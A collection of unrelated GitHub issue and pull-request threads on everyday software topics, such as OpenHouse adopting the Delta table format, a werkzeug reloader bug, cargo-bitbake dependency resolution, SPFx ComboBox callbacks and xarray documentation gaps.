Delta is an open-source table format that brings enterprise-grade capabilities to data lakes. It manages large datasets in data lakes efficiently and ensures data integrity through ACID transactions and enables historical data exploration with time travel features.
In this PR we replace OH's current Iceberg Table Format with Delta Format.
Guiding principles for coding this PR:

Avoiding changing Delta Commit Protocol
Use Delta's API plugs/ extensions (avoid changing Delta Source code)
Avoid changing OpenHouse's architecture/design/feature set.

Details
Overall architecture is the same as before for Iceberg, except for three crucial pieces:

OH Client will use LogStore Plug for commits: Delta protocol doesn't provide doRefresh(), doCommit() plugs like Iceberg. This is because of fundamental difference in Delta vs Iceberg. Instead the client will use LogStore plug for any kind of writes.

OH Server will use FileSystem as source of truth (not HTS): Again, because of protocol difference in Delta vs Iceberg. Now, the OH server commits using DeltaLog.forTable(/tablePath).getTransaction().commit() and keeps a record in HTS just for record keeping.

Directory layout is bit different than Iceberg: But protecting namespace should still be supported.

[X] New Features

Testing
Easy way: Just run the unit test

build the project first, ./gradlew build
Open project in intellij, open > ROOT/build.gradle
Go the module: :spark-delta-client
Run the unit test: com.linkedin.openhouse.delta.tests.SimpleTest#basicSQLCatalog()
This will run the E2E flow in form of unit test, place debugger anywhere and have a fun time!

Production way: Run the docker setup

build the project first, ./gradlew build
cd /infra/recipe/docker-compose/oh-hadoop-spark
docker compose up -d
docker exec -it local.spark-master /bin/bash
run following spark-shell command

bin/spark-shell --jars spark-delta-client-latest-all.jar    \
--conf spark.sql.extensions=io.delta.sql.DeltaSparkSessionExtension     \
--conf spark.sql.catalog.openhouse=com.linkedin.openhouse.delta.OHCatalog     \
--conf spark.sql.catalog.openhouse.uri=http://openhouse-tables:8080     \
--conf spark.sql.catalog.openhouse.auth-token=$(cat /var/config/openhouse.token)   \
--conf spark.sql.catalog.openhouse.cluster=LocalHadoopCluster   \
--conf spark.sql.catalogImplementation=in-memory

6:
CREATE TABLE openhouse.db.t3 (col1 string, col2 string, col3 string)

7:
INSERT INTO openhouse.db.t3 VALUES ('c', 'd', 'd')

8:
SELECT * FROM openhouse.db.t3

See following demo for in-depth production test

https://github.com/linkedin/openhouse/issues/39


[BUG] WebSocket transport not available. Install simple-websocket for improved performance.

OpenVoiceOS specifications (please complete the following information):

Device: Mark2-Devkit
Image release: 20230117

Describe the bug
When launching the dashboard we get the message:
Mar 04 19:22:49 OpenVoiceOS-e383a2 python[1883]:  * Serving Flask app "app" (lazy loading)
Mar 04 19:22:49 OpenVoiceOS-e383a2 python[1883]:  * Environment: production
Mar 04 19:22:49 OpenVoiceOS-e383a2 python[1883]:    WARNING: This is a development server. Do not use it in a production deployment.
Mar 04 19:22:49 OpenVoiceOS-e383a2 python[1883]:    Use a production WSGI server instead.
Mar 04 19:22:49 OpenVoiceOS-e383a2 python[1883]:  * Debug mode: on
Mar 04 19:22:49 OpenVoiceOS-e383a2 python[1883]:  * Running on http://<IP_ADDRESS>:5005/ (Press CTRL+C to quit)
Mar 04 19:22:49 OpenVoiceOS-e383a2 python[1883]:  * Restarting with inotify reloader
Mar 04 19:22:50 OpenVoiceOS-e383a2 python[1894]: WebSocket transport not available. Install simple-websocket for improved performance.

To Reproduce
Steps to reproduce the behavior:

systemctl --user enable<EMAIL_ADDRESS>systemctl --user start<EMAIL_ADDRESS>systemctl --user status<EMAIL_ADDRESS>
Expected behavior
I think simple-websocket should be installed in the buildroot image. Doing pip install simple-websocket solve the error

Closing this one as at that point I indeed included the  simple-websocket python package.
However we are now using containers.


Remove k8s deps if possible

I added these forever ago to get kubectl flags, but it's been a source of endless trouble...
See https://github.com/google/ko/issues/315#issuecomment-783718564 for a recent issue.

might be able to use https://github.com/kubernetes-sigs/controller-runtime

Can you elaborate a bit?

sigh - sorry wrong repo - I meant to link - https://github.com/kubernetes/cli-runtime - that pulls out some common runtime logic - ie. flags & reading yaml files
but I realize it depends on k8s upstream libs as well and unfortunately with replace directives :(

the replace directives match the versions in the require block so maybe it's just automation playing safe


Filter multiple projects

I tried to filter only selected projects from our group.
I did it as array but unfortunately it doesn't work for me. Nothing shows up.
"filter": {     "include": [ "group/project1", "group/project2", "group/project3" ],     "exclude": null   },
Is it bugged or I misunderstand something?

include is a regex.
Your example would be group/project[1-3].

Thanks.


vignetting on default cinecamera

Hi,
While setting up any kind of project (r20) the default camera outputs with vignetting although none is set on it.
A workaround currently is to set vignetting size and strength to 0 on the camera on UE side, this seems to bypass whatever d3 is asking for. This works only with the rendering strategy set to fullscreen. Tiling/manual does not work and keeps the camera vignetting.
This probably happens when D3 copies the camera and passes its own arguments. There might be other similar arguments that I haven't identified yet that are being passed.
Is it possible to check/remove those defaults?
Thanks!

Hi, we haven't seen this before. We just copy the camera as it is set in UE, so if it has vignetting applied that will be retained, but if it doesn't then there shouldn't be any. We don't pass any arguments to do with vignetting specifically.

thanks for getting back to me so fast Chris.
Indeed tested on blank project and I don't get the issue. It's still somewhere on other projects so it's weird - might be a manipulation on UE side we've made.

There are a few places it could be coming from - player controller or post processing volumes come to mind, but there are plenty of ways of adding post-processing to a camera view in UE. I hope that helps, I'll close the ticket now.


rv is a set, use add(), not append()

When creating a new Werkzeug server you can specify extra paths for the reloader to watch using the extra_files parameter. Currently this fails in version 0.10-maintenance and master, and will continue to fail in future versions since the code uses .append() not .add() on rv, which is a set().

Could you add a changelog entry? Thanks!

Added an entry to CHANGES, anything else I should add or does that look good to you?

Looks good, thanks!

Any timeline on the 0.10.2 release?

Not really, probably whenever we are able to fix https://github.com/mitsuhiko/werkzeug/issues/682

Ah ok, that bug is what led me to finding and fixing this bug :smile:


Handle weird party types

response_code: 500, data: {‘cause0’: ‘java.lang.NullPointerException: Cannot invoke “org.apache.commons.lang3.tuple.Pair.getRight()” because the return value of “java.util.Map.get(Object)” is null’, ‘message’: ‘java.lang.NullPointerException: Cannot invoke “org.apache.commons.lang3.tuple.Pair.getRight()” because the return value of “java.util.Map.get(Object)” is null’, ‘url’: ‘//jurisdictions/illinois/filingreview/courts/sangamon/filing/check’, ‘status’: ‘500’}
Should be fixed, just need to test.

Was fixed in https://github.com/SuffolkLITLab/EfileProxyServer/commit/da53af9c0147a0759381b756713aa04983c17663


Generated recipe includes dependencies of all projects in a workspace, not just the current project

I have a workspace with two simple projects in it: a hello project with no dependencies and a print-rand project that depends on the rand crate. This workspace can be seen here: https://gitlab.com/pbarker.dev/learn-rust/-/tree/711141cb58ccb241b1c6b13454746bd28b106de7
If I run cargo bitbake in the directory of the hello project, the dependencies of the print-rand project are also included in SRC_URI.
[pbarker@ar2 hello]$ cargo bitbake --version
cargo-bitbake 0.3.14
[pbarker@ar2 hello]$ cargo bitbake
Wrote: hello_0.1.0.bb
[pbarker@ar2 hello]$ cat hello_0.1.0.bb
# Auto-Generated by cargo-bitbake 0.3.14
#
inherit cargo

# If this is git based prefer versioned ones if they exist
# DEFAULT_PREFERENCE = "-1"

# how to get hello could be as easy as but default to a git checkout:
# SRC_URI += "crate://crates.io/hello/0.1.0"
SRC_URI += "git://git@gitlab.com/pbarker.dev/learn-rust.git;protocol=ssh;nobranch=1;branch=dev"
SRCREV = "711141cb58ccb241b1c6b13454746bd28b106de7"
S = "${WORKDIR}/git"
CARGO_SRC_DIR = "hello"
PV_append = ".AUTOINC+711141cb58"

# please note if you have entries that do not begin with crate://
# you must change them to how that package can be fetched
SRC_URI += " \
    crate://crates.io/cfg-if/0.1.10 \
    crate://crates.io/getrandom/0.1.15 \
    crate://crates.io/libc/0.2.77 \
    crate://crates.io/ppv-lite86/0.2.9 \
    crate://crates.io/rand/0.7.3 \
    crate://crates.io/rand_chacha/0.2.2 \
    crate://crates.io/rand_core/0.5.1 \
    crate://crates.io/rand_hc/0.2.0 \
    crate://crates.io/wasi/0.9.0+wasi-snapshot-preview1 \
"

# FIXME: update generateme with the real MD5 of the license file
LIC_FILES_CHKSUM = " \
    file://hello/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327 \
"

SUMMARY = "Hello World application"
HOMEPAGE = "https://gitlab.com/pbarker.dev/learn-rust/-/tree/dev/hello"
LICENSE = "Apache-2.0"

# includes this file if it exists but does not fail
# this is useful for anything you may want to override from
# what cargo-bitbake generates.
include hello-${PV}.inc
include hello.inc

I suspect that the dependencies are being resolved at the workspace level instead of at the project level but I'm not familiar enough with the cargo API to be sure on this or to suggest how to fix it.

I can confirm this behavior is still present on cargo-bitbake 0.3.15 and is interfering with our workflow. It does seem to match with the way meta-rust pulls in sources during bitbake compilation. Because manually removing the unneeded dependencies from the recipe causes the bitbake build to fail.


ISPN-16703 Server startup script consults java from PATH instead of configured JAVA or JAVA_HOME for version consultation

Resolves
https://issues.redhat.com/browse/ISPN-16703
14 - https://github.com/infinispan/infinispan/pull/12954
15 - https://github.com/infinispan/infinispan/pull/12956

@rhusar no need to create PRs for all branches. Just add the 15.0.x and 14.0.x labels and an action will create backports once this one has been merged.

@rhusar no need to create PRs for all branches. Just add the 15.0.x and 14.0.x labels and an action will create backports once this one has been merged.

@tristantarrant Ah, I forgot you guys live in the 21st century. We still attach printed diff files to pigeons to submit patches to older versions.


Compiling on OpenBSD 6.6

On OpenBSD 6.6 cargo build --release fails with the following error:
error[E0425]: cannot find function `get_region` in module `os`
   --> /home/j/.cargo/registry/src/github.com-1ecc6299db9ec823/region-2.1.2/src/lib.rs:133:7
    |
133 |   os::get_region(page::floor(address as usize) as *const u8)
    |       ^^^^^^^^^^ not found in `os`

You should probably open an issue at https://github.com/darfink/region-rs, as that is the crate which fails to compile on OpenBSD.

Thank you! I opened an issue with the region-rs crate.


ComboBoxListItemPicker - onSelectedItem passing data to callback method but with attributes value as 'undefined'

Category
[ ] Enhancement
[X ] Bug
[ ] Question
Version
Please specify what version of the library you are using: [  1.17.0       ]
Expected
While overriding onSelectedItem method we should get an array of the selected items with Id and Title column.
Below is sample implementation.
<ComboBoxListItemPicker listId='ba682bc2-351e-45ae-8cbe-b0512ba0291a'                         columnInternalName='Title'                         keyColumnInternalName='Id'                         // filter="Title eq 'SPFx'"                         onSelectedItem={this.onSelectedComboBoxItemPicker}                         webUrl={this.props.context.pageContext.web.absoluteUrl}                         spHttpClient={this.props.context.spHttpClient}                          multiSelect={true}                        />
 private onSelectedComboBoxItemPicker(data: { key: string; name: string }[]) {     for (const item of data) {       console.log(Item value: ${item.key});       console.log(Item text: ${item.name});     }   }
Observed Behavior
We are getting Id and Title as undefined in the array. Please refer below screenshot.

Further analysis and a possible fix.

Reference file = webpack:///../../../../src/controls/listItemPicker/ComboBoxListItemPicker.tsx
Thanks!

Encountered similar issue and came to same conclusion/resolution as @siddharth-vaghasia.  This also seems only applicable to when the multiSelect prop is passed.  When not passing multiSelect, no results are returned at all.  The value still seems to be returned if I insert a console.log(option) into the above onChanged function, but the else case doesn't return anything as this.selectedItems doesn't seem to get appropriately set the way it does when the multiSelect prop is included.

Hi Guys,
Thanks for reporting this. One note (maybe that is not documented well), onSelectedItem always passes selected item, not whole array (same for single and multi select). You can check the details using onSelectedItem={(item) => {
console.log(item);
}}
You will notice that for single selection mode the selected property is undefined and for multi select You will get information if the value was selected or the selection was removed

Hope that helps

Thank all of you for active discussion!
The fix has been merged and available in the beta version.
Could you please test it on your end as well?
Thanks!

@AJIXuMuK ...thanks...tested this...it is working as expected if we write call back with below syntax
private onSelectedComboBoxItemPicker(items:[]) {
    console.log("selected items:", items);
     }
  }

Call back method documented in markup is below, which won't copy values in key and name unless it is passed in the same format.... So I believe we should update the documentation to the above syntax. submitting a PR for same, please merge it if it make sense..!!
private onSelectedItem(data: { key: string; name: string }[]) {
  for (const item of data) {
    console.log(`Item value: ${item.key}`);
    console.log(`Item text: ${item.name}`);
  }
}

The documentation has been merged as well.


docs questions from new user

A relatively new user here gave me an incomplete list of things they found to be confusing in the docs:

[ ] ~What is xarray's data model?~ opened #2913

[ ] What is split-apply-combine?

[ ] What are dummy dimensions and np.newaxis

[x] quick-overiew: Index so that you extract a subset!

[ ] too many references to pandas!

[x] do I need to know pandas to use xarray?

[ ] what is the difference between attrs and encoding? How do I use them properly/correctly?

[ ] why isnull and dropna: why dropna instead of dropnull

[ ] compute docstring doesn't mention computation!

[ ] compute vs persist vs load: what's the difference

[ ] do I get parallelization for free?

[ ] do I start a dask cluster first?
[ ] dask page links to shoyers blog but that doesn't explicitly start a cluster.

I'm crossing out things that I've started to fix.

too many references to pandas!

This is a tricky one. In the beginning we wanted people to come from pandas to xarray. It was kind of assumed that everybody uses and loves pandas, therefore will also use and love xarray. (my own experience).
But do we have to build the docs for non-pandas users as well? It could make quite a few things redundant with the pandas documentation...

But do we have to build the docs for non-pandas users as well? It could make quite a few things redundant with the pandas documentation...

I personally think we should. I think there are a very large number of numpy users who don't use pandas or any labelled data libraries at all, who cannot be assumed to know what Pandas does. I definitely didn't understand what the references to Pandas meant when I first read xarray's documentation, and everyone else in my field seems to fit in this category at least...


enhancement: Animated translation/zoom

Thinking of the method:

(already happening): load image
(already happening): calculate zoom and translate
(already happening): apply zoom and translate all at once
(already happening): draw image
(already happening): draw route, animate, etc... (basically: continue)

update to:

(already happening): load image
(new): draw image
(already happening): calculate zoom and translate
(new): Assume ~60 frames to animate, or ~90 if already zoomed in.  Put that value in zCount.
(new): Calculate arrays of zoom and translation values - Let's make these 3 arrays z[], tX[] and tY[] - calculate based on linear extrapolation.

-- For example, in the 60-frame, start will be 1.0 zoom and translate 0,0.  z[0] is 1.0, z[zCount] is the final translation zoom - and the same applies for translation matrixes.  Each z value would be something like (assuming this is a loop with i as the counter, counting up from 0 to < zCount) ----
Initialize:
z[0] = 1.0, z[zCount] = target zoom
tX[0] = 0, tX[zCount] = target x translate
tY[0] = 0, tY[zCount] = target y translate
zCount = 60
loop:
z[i] = (z[zCount] - z[0]) / zCount (and similar linear extrapolation for tx and ty)
-- For the 90-frame, calc would have to be different - instead of a single linear extrapolation, it would need to be 2-stage -
Initialize:
z[0] = current zoom, z[45] = 1.0, z[zCount] = target zoom
tX[0] = current X translate, tX[45] = 0, tX[zCount] = target x translate
tY[0] = current X translate, tY[45] = 0, tY[zCount] = target y translate
zCount = 60
for i values of 0-44 (<45):
z[i] = (z[zCount] - z[45]) / 45  (and similar linear extrapolation for tx and ty)
or for 45-89 (<90)
z[i] = (z[zCount] - z[45]) / 45  (and similar linear extrapolation for tx and ty)

(new): at each iteration, draw a frame, using the frame draw wait call.
(already happening): draw final image
(already happening): draw route, animate, etc... (basically: continue)

done, mostly as envisioned but just stuck with 60-frame single-pan.


Feature Request: D3 Charts

Wondering if anyone has, or thought about hooking up the stylestats into a D3 chart / graph?
What I'm after is for each release to see some nice pretty charts / graphs showing improvements with the data powered from stylestats.

For reference I was pointed to this: http://creator.aainc.co.jp/archives/7123 it's in Japanese, but looks interesting!

@s10wen
You can use StyleStats website to get timeline charts like this.
http://www.stylestats.org/dashboard?q=https://google.com
However it's not private site, Everyone can see your chart if they know your URL.

@t32k that's cool! But what if I wanted to go back further? and also do this on a test build, before it being live?

OK
There are several way to plot a chart, please refer to the following.
https://github.com/t32k/stylestats/wiki#plotting
But, you would like D3 Charts? I'll think about it.
By the way, I joined Frontend Meetup Tokyo vol.2. Thank you for great talk. 😄

@t32k NO WAY!!! 🎉
Duuuuude, you should have said hi, I would have bought you some 🍶 🍶 🍶 !!
stylestats rocks! Thanks for all your work.
I've got a plan so I'll keep you updated with what I'm up to.

p.s. I did have it working with Jenkins which was nice, but I want more control over it, so looking to move it to something I have more access to. Didn't know about GA, I'll give that a look as well.


feat:compiler

Motivation:
Explain the context, and why you're making that change.
To make others understand what is the problem you're trying to solve.
Modification:
Describe the idea and modifications you've done.
Result:
Fixes #.
If there is no issue then describe the changes introduced by this PR.

Codecov Report

Merging #886 into 5.7 will increase coverage by 0.54%.
The diff coverage is 66.07%.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 35c9665...b0b896a. Read the comment docs.


Does ng2-nvd3 support zoom?

Noob in angular 2/Programming here...
I've read the source code, found some zoom functions but I don't really know how to access them via the options?
Based on the nvd3 website there's a zooming functionality – chart: { zoom: {} }, I've placed it in my ng2 component but does nothing to my scatter chart.
Would really appreciate all the help. I won't be able to upload the code though as the project is private

Currently not. But it can be added in the future releases if this is a desired option.

Ah bummer, thank you then!

@krispo could you add this functionality?

Yes @krispo . Please add this feature. Or please guide me I can work on it and will rise PR.

@krispo could you add this functionality?

@krispo this is a much needed feature. Please add this feature.

+1 please add this feature, definitely much-needed.


Parameter settings for results ingilbert_stylize.jpg

Hi, can you please elaborate on how did you get the results shown in the image gilbert_stylize.jpg under samples folder? What was the alpha used? How many reruns? Did you use all five layers or just one? Thanks.

Hi,
From what I remember the main settings were:

Alpha=0.8
One pass
All five encoder/decoders were used, started from layer 5


Swift var with get and set are not automatically ignored

Goals
Add ignored property without using ignoredProperties()
Expected Results
Properties not to be persisted.  When adding
var name {
  return "John"
}

The property name is not persisted and does not need to be added to ignoredProperties().  However, using a swift get and set block in a var it does get persisted.
Actual Results
Properties were persisted
Code Sample
var pushNotifications:Bool {
    get {
        return pushBroadcastPosts && pushEventReminders && pushEventUpdates && pushGroupInvites && pushGroupJoinRequests && pushMentions && pushNewMessage
    }
    set {
        pushBroadcastPosts = newValue
        pushEventReminders = newValue
        pushEventUpdates = newValue
        pushGroupInvites = newValue
        pushGroupJoinRequests = newValue
        pushMentions = newValue
        pushNewMessage = newValue
    }
}

Version of Realm and Tooling
Realm version: 2.1.2

Wanting to have overridden getters and setters for a property on unmanaged objects while still wanting the property to be persisted in Realm would be somewhat odd, but there's nothing inherently broken about it, so even if we could reliably detect this case and implicitly ignore the property it's not obvious that it would be the right thing to do.

@tgoyne I apologize if my issue report wasn't clear - I don't want the property to be persisted.  Its purely a synthesized property.
I am using the setter to set a number of synthesized properties in one shot.
I'd like it to perform exactly like the other example I gave:
var name {
  return "John"
}

Yes, what I mean is that someone else may want a similar property to be persisted, so we can't just automatically make it not persisted.

I see.  Thanks for the explanation.
I can imagine validating the newValue in the setter block, so I understand the use case.


Standardize standard pages (ha!)

Each standard page now starts with the same default header section (based in part on the SDS). This section contains a Title, Date created, Status, Category, Permanent IRI, Abstract, (Contributors), Creator, and Bibliographic citation. I have tried my best to populate these for all 25 standards, which worked for most (pending some fields that could be updated by anyone later). For those standards were I could not find any information I have hidden the page and created issues: #121, #123, #124, #125, #126.
Note: I have not updated the README in the repo for these standards (e.g. using the same citation formatting for all bibliographic citations).
Also included:

Add summary to all standards
Add relevant cover image to all standards
Move Darwin Core maintenance group to community

/cc @baskaufs

I have previously put quite a bit of time in tracking down where the documents can be accessed for all of the prior TDWG standards.  This information is in the table docs.csv in the docs folder of the rs.tdwg.org repo.  The browserRedirectUri column is the URL that will actually take you to the place where the document can be retrieved (if it is retrievable).  In several cases, the standards documents are only available in print and in those cases, the URL takes you to a description of the print work.  In at least one case (I think it's XDF) the actual standard document itself seems to be lost.  The DOI I've listed is actually to a publication about the standard.
I have also tracked down information about all authors of the documents and URIs for those authors (mostly ORCIDs, VIAFs, or Wikidata IDs).  The author/doc info is in the table docs-authors.csv.

I should have also mentioned that I wrote an abstract for every document.  It's possible that you could write a script to generate what you want from the tables I listed above. Keep in mind that the tables have metadata about the standards documents, not the standards themselves, since many standards include several documents.  However, since the standards landing page is supposed to list all of the parts of the standard, and since many of these old standards are not controlled by TDWG, it might be best to just put the abstracts for the documents on the landing page along with a link to the place where you can access the standard (outside of TDWG).


OCPBUGS-23457: Move konnectivity-server out of KAS pod

What this PR does / why we need it:
We had previously moved the konnectivity server to the Kube APIServer pod (https://github.com/openshift/hypershift/pull/2942) in order to support the case where communication between the nodes where the kube-apiserver lived could not talk to each other. If the konnectivity-server fell in one, the other node would not be able to talk to it. However, moving the konnectivity-server container inside the kube-apiserver pod brings other problems with it. If exposed via a service, agents cannot establish a connection until the entire kube-apiserver pod is available. It also forces us to run the konnectivity-server in HA mode, which at this point is not fully fleshed out upstream.
This PR reverts to having a single instance of konnectivity-server in its own deployment and solves the problem of connectivity between request serving nodes by introducing an intermediary proxy between kube-apiserver and konnectivity-server. The proxy is only deployed when using the request serving topology.
Which issue(s) this PR fixes (optional, use fixes #<issue_number>(, fixes #<issue_number>, ...) format, where issue_number might be a GitHub issue, or a Jira story:
Fixes #OCPBUGS-23457
Checklist

[x] Subject and description added to both, commit and PR.
[x] Relevant issues have been referenced.
[ ] This change includes docs.
[ ] This change includes unit tests.

/test e2e-aws

/test e2e-aws

/lgtm
/retest

Waiting for feedback from IBM Cloud to proceed with this change.
cc @rtheis @hasueki

Thanks @csrwng.  We are still investigating and will let you know.

/close


Set the documents language

This issue was separated from #1177.
I would like to set the default language of the document. That language that is relevant for spell checking for example. By default it seems to be "en-US". First I thought it is in the file word/settings.xml where I find this tag <w:themeFontLang w:val="en-US" w:eastAsia="ja-JP"/>. But after some tests I would say that wasn't it.
Now after using grep on the xmlfiles I found <w:lang w:val="en-US" w:eastAsia="en-US" w:bidi="ar-SA"/> in word/styles.xml and word/stylesWithEffects.xml. This seems to be related to Document.styles.elements.
But investigating the existing elements I couldn't find the correct element. But for me that XML API is quite unusual and unpythonic. So It isn't easy for me investigating this. I can I find the correct element and modify it ?
I also tried doc.core_properties.language = 'de-DE' without effect on the documents language.

Close as duplicate of #727


Added villager data enricher for mercantile automata core

Features implemented:
- Added "merchantData" to data enrichers (the actual implementations are in LuaRepresentation)
* provides the item id's, quantities, and enchantments (if applicable) of the cost(s) and result of every trade the target villager offers

Thanks for you code, sorry for delay with replay. I will review it next week

So, most of code seems nice.
I will still make some changes (mostly related to using List instead of indexed Maps, because this also works and also I am pretty sure I had somewhere code for ItemStack logic), but thanks for your PR, I will merge it right now.


Parquet Writer

Written this for protobuf. The schema should be a string pointing to a java class which defines a valid protobuf schema. Java will try to dynamically load this and write the record conforming to this schema. The record type for protobuf should be com.google.protobuf.Message.
Code review: @vikarmic @eogren

Otherwise lgtm.

looks good overall though!

Closing this PR and will reopen it once I put this change into a clean branch. Right now the version history is all messed up.


Bug: investigate proposal timer logic

Overview
After Queuing a proposal (child token voting), I noticed the time near the label still displays the time from which the proposal was passed, not the time from which it was queued.
I suspect there are other bugs related to this timer and the proposal state, on both governance types, so we should think through what that timer should display at what stage, and make adjustments to fix not just this, but the timer in general.
Steps to reproduce
see above
Screenshots / Video

Version
Dev (app.dev.fractalframework.xyz/)
Browser
Firefox
Operating System
None
web3 wallet
None

yeah, this is good now, thanks @mudrila
although it would be great to have a queue time timer as well, but we'll pick that up at a different point


Email translation

Hi @tainewoo,
This PR adds translation files for en and de. And it moves subject line and text from html and text bodies into the locale config.
It also tries to adjust layout to match other mail templates.

Hi @wokat ,
Thank you for your PR. It's merged.
Enjoy it.


Extension load document/window able to set per configuration

Would like to have the possibility to set Extension Load setting Document or Window separately per Configuration.
Some pages won't work with Document setting, so need Window setting.
But for other Document setting works and is much faster, for some even only setting Document works

Thank you for your valuable feedback @PerryFromHolland.
We will surely bring the above changes in the upcoming milestone.

Thank you for your valuable feedback @PerryFromHolland.
We will surely bring the above changes in the upcoming milestone.

Available with v3.1.11 on DEV and BETA
Blog - https://blog.getautoclicker.com/2021/01/auto-clicker-auto-fill-3.1.9/
Doc - https://getautoclicker.com/docs/3.1/configuration-settings/extension-load/


AI behaviour for charmed casters

Hi,
If you do Charm Person on a caster (such as Zuggtmoy Priest, Belsornig, Alreem), friendly fire happens way too often.
Not just AoE spells but also they do friendly fire by single target spells with negative effects (such as Deafness).
Zuggtmoy Priest also attempts Death Knell on friendly conscious characters all the time.
Targeting for healing spells is correct.
If it's possible to fix their choice of targets, that would be great.
Please let me know if any additional info is needed.
Thanks a lot!

A save game and steps to reproduce would be helpful.

Save_bug-772.zip
Attached the zip file with two saves.
Case 1 - Belsornig (charmed NPC)
Save name: "test"
Here I placed my PCs, NPCs and Belsornig (charmed) around the target that is to be attacked: Oohlgrist.
Steps to reproduce after loading the save:

Attack the troll with a PC
Skip turns until Belsornig
See how Belsornig decides to pick AoE spell (Sound Burst) that damages all of the surrounding friendly characters including himself - just for a single enemy target

VOD reproducing the steps above: https://youtu.be/rOvovAAbfVg
Case 2: Zuggtmoy Priest (charmed NPC)
Save name: "test2"
Here we're just running with the whole party into the nearest encounter that is a few ogres.
Steps to reproduce after loading the save:

Select the whole party and run into ogres on the right side
Skip turns until Zuggtmoy Priest
See how Zuggtmoy Priest decides to cast Deafness on Pishella (this time unsuccessful but he does exactly the same thing almost every time)

VOD reproducing the steps above: https://youtu.be/NQeEMuE4W4g


feat: allow azure ips to bypass firewall

Create a boolean variable with a default value of false.
When this is set to true, create a firewall rule that allows Azure IPs to connect to the SQL server.

@helenakallekleiv I assigned you to this as well since we looked at it together.


Improve F-Droid listing

F-Droid will soon have stricter requirements for being featured in the "Latest" tab in the app: https://news.f-droid.org/posts/2019-03-26-the-latest-tab-now-highlights-good-descriptions/
I think what's missing for RC is the last three items form the list:

a What’s New entry for at least one release
at least one graphic (screenshot or a feature graphic)
at least one of the above translated

You'll find info on how to do that here: https://f-droid.org/docs/All_About_Descriptions_Graphics_and_Screenshots/
Al this can be done from the source repo here and would only be relevant for the next update.

F-droid version now six months old...


[Events/Event filters]The "Upcoming" filter is called 'Future'

Environment: Windows 10 Pro Version 22H2 OS 19045.3803 Google Chrome Version 120.0.6099.200 (Official Build) (64-bit)
Reproducible: always
**Build found:**11/01/24
Preconditions
1.The site https://www.greencity.social/#/events is opened.
2.The user is authorized.
3.The 'Events' tab is clicked.
Steps to reproduce
1.Click on the dropdown 'Event time' on the filters panel.
2.Select checkbox 'Upcoming'.
Actual result
There is no 'Upcoming' checkbox on the event card,it called 'Future'.
Expected result
The ''Upcoming' checkbox is present.
User story and test case links
E.g.: "User story #3375
Test case"

Labels to be added

It's stoll a bug on Chrome

Its still 'Future''


Allow multiple k8s Services to exist under the same Service Account

We launched OSM with the deliberate choice to couple one Service Account to a single Service. This made it easy to move fast in building out the ground work for OSM.
At this stage we realize that there are scenarious where multiple Services may be served by Pods within the same Service Account.
This Issue is to remove the deliberate constraint of 1 Service - to 1 Service Account and allow for one or more services to be under the same Service Account.

ref https://github.com/openservicemesh/osm/issues/1550

The following PR's remove the 1:1 mapping between services and service accounts : #1567 #1553
There is a CI test too that helps in validating this :  #1623 . The only issue we are facing now post this change is #1658 and its being tracked

I have run the demo with the scenario of multiple services backed by one service account and it works as expected


Allow DoctrineWriter to use an repository method for retrieval

Using a repository method allows for joins and other potential security
wrappers to do their thing.

Thanks! Committed this in portphp/doctrine: 9d62b8dc3edd98d2718d848200d9f2a60c7e9447.


Add citizenship gender data

This pr addresses https://github.com/Code4Nepal/nepalmap_app/issues/143
Let me know what you think and whether there is anything I've missed/needs changing.

thank you, @crispg72!
@cliftonmcintosh - pls kindly review and merge at your convenience.

@crispg72
Thank you very much for the PR! It looks like things are just like what we would want. I would like the chance to run it locally before we merge. I should have a chance to do that Wednesday evening.

@crispg72
My apologies for the delay in completing a review. I am traveling with a laptop that I have not previously used for this project. I hope to complete the setup and review this evening.


Update support-for-keeping-add-ins-enabled.md

Adds description for the DoNoDisableAddinList.
Adds Office 2019 and 365 to the list of 16.0 build version.

Docs Build status updates of commit 063b3f1:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

outlook/Concepts/Getting-Started/support-for-keeping-add-ins-enabled.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel